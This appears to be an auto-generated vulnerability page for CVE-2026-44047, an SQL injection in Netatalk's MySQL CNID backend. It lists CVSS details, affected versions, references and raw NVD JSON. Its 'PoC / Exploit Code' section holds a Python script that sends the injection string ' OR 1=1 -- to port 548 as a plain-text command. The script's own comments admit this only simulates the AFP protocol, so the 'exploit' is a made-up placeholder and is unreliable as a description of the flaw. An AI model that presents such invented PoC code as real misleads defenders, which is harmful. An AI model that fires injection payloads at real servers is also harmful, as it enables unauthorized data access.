CVE-2026-44047

Description

An SQL injection vulnerability in the MySQL CNID backend in Netatalk 3.1.0 through 4.4.2 allows a remote authenticated attacker to obtain unauthorized access to data, modify data, or cause a denial of service.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Netatalk 3.1.0

Netatalk 3.1.1

Netatalk 3.1.2

Netatalk 3.1.3

Netatalk 3.1.4

Netatalk 3.1.5

Netatalk 3.1.6

Netatalk 3.1.7

Netatalk 3.1.8

Netatalk 3.1.9

Netatalk 3.1.10

Netatalk 3.1.11

Netatalk 3.1.12

Netatalk 3.1.13

Netatalk 3.1.14

Netatalk 3.1.15

Netatalk 3.1.16

Netatalk 3.1.17

Netatalk 3.1.18

Netatalk 4.0.0

Netatalk 4.0.1

Netatalk 4.0.2

Netatalk 4.0.3

Netatalk 4.0.4

Netatalk 4.0.5

Netatalk 4.0.6

Netatalk 4.0.7

Netatalk 4.0.8

Netatalk 4.0.9

Netatalk 4.0.10

Netatalk 4.0.11

Netatalk 4.0.12

Netatalk 4.0.13

Netatalk 4.0.14

Netatalk 4.0.15

Netatalk 4.0.16

Netatalk 4.0.17

Netatalk 4.0.18

Netatalk 4.0.19

Netatalk 4.0.20

Netatalk 4.0.21

Netatalk 4.1.0

Netatalk 4.1.1

Netatalk 4.1.2

Netatalk 4.1.3

Netatalk 4.1.4

Netatalk 4.1.5

Netatalk 4.1.6

Netatalk 4.1.7

Netatalk 4.1.8

Netatalk 4.1.9

Netatalk 4.1.10

Netatalk 4.1.11

Netatalk 4.1.12

Netatalk 4.1.13

Netatalk 4.1.14

Netatalk 4.1.15

Netatalk 4.1.16

Netatalk 4.1.17

Netatalk 4.1.18

Netatalk 4.1.19

Netatalk 4.1.20

Netatalk 4.2.0

Netatalk 4.2.1

Netatalk 4.2.2

Netatalk 4.2.3

Netatalk 4.2.4

Netatalk 4.2.5

Netatalk 4.2.6

Netatalk 4.2.7

Netatalk 4.2.8

Netatalk 4.2.9

Netatalk 4.2.10

Netatalk 4.2.11

Netatalk 4.2.12

Netatalk 4.2.13

Netatalk 4.2.14

Netatalk 4.2.15

Netatalk 4.2.16

Netatalk 4.2.17

Netatalk 4.2.18

Netatalk 4.2.19

Netatalk 4.2.20

Netatalk 4.3.0

Netatalk 4.3.1

Netatalk 4.3.2

Netatalk 4.3.3

Netatalk 4.3.4

Netatalk 4.3.5

Netatalk 4.3.6

Netatalk 4.3.7

Netatalk 4.3.8

Netatalk 4.3.9

Netatalk 4.3.10

Netatalk 4.3.11

Netatalk 4.3.12

Netatalk 4.3.13

Netatalk 4.3.14

Netatalk 4.3.15

Netatalk 4.3.16

Netatalk 4.3.17

Netatalk 4.3.18

Netatalk 4.3.19

Netatalk 4.3.20

Netatalk 4.4.0

Netatalk 4.4.1

Netatalk 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-44047
# This script demonstrates how an authenticated attacker might trigger the SQLi.

import socket

def exploit_sql_injection(target_ip, port, payload):
    """
    Sends a malicious payload to the Netatalk MySQL CNID backend.
    Note: This requires a valid authenticated session.
    """
    # Example payload to test SQL injection
    sqli_payload = f"' OR 1=1 -- {payload}"
    
    try:
        # Connect to the AFP service (usually port 548)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_ip, port))
        
        # Simulate sending a command that includes the CNID lookup
        # In a real scenario, this would involve AFP protocol specifics
        request = f"GET_CNID {sqli_payload}"
        sock.send(request.encode())
        
        response = sock.recv(1024)
        print(f"Server response: {response.decode()}")
        
        sock.close()
    except Exception as e:
        print(f"Error: {e}")

# Usage
# exploit_sql_injection("192.168.1.10", 548, "test")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44047
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44047
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44047/
[4] VulDB https://vuldb.com/cve/CVE-2026-44047
[5] https://netatalk.io/security/CVE-2026-44047

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44047", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:20.173", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An SQL injection vulnerability in the MySQL CNID backend in Netatalk 3.1.0 through 4.4.2 allows a remote authenticated attacker to obtain unauthorized access to data, modify data, or cause a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44047", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}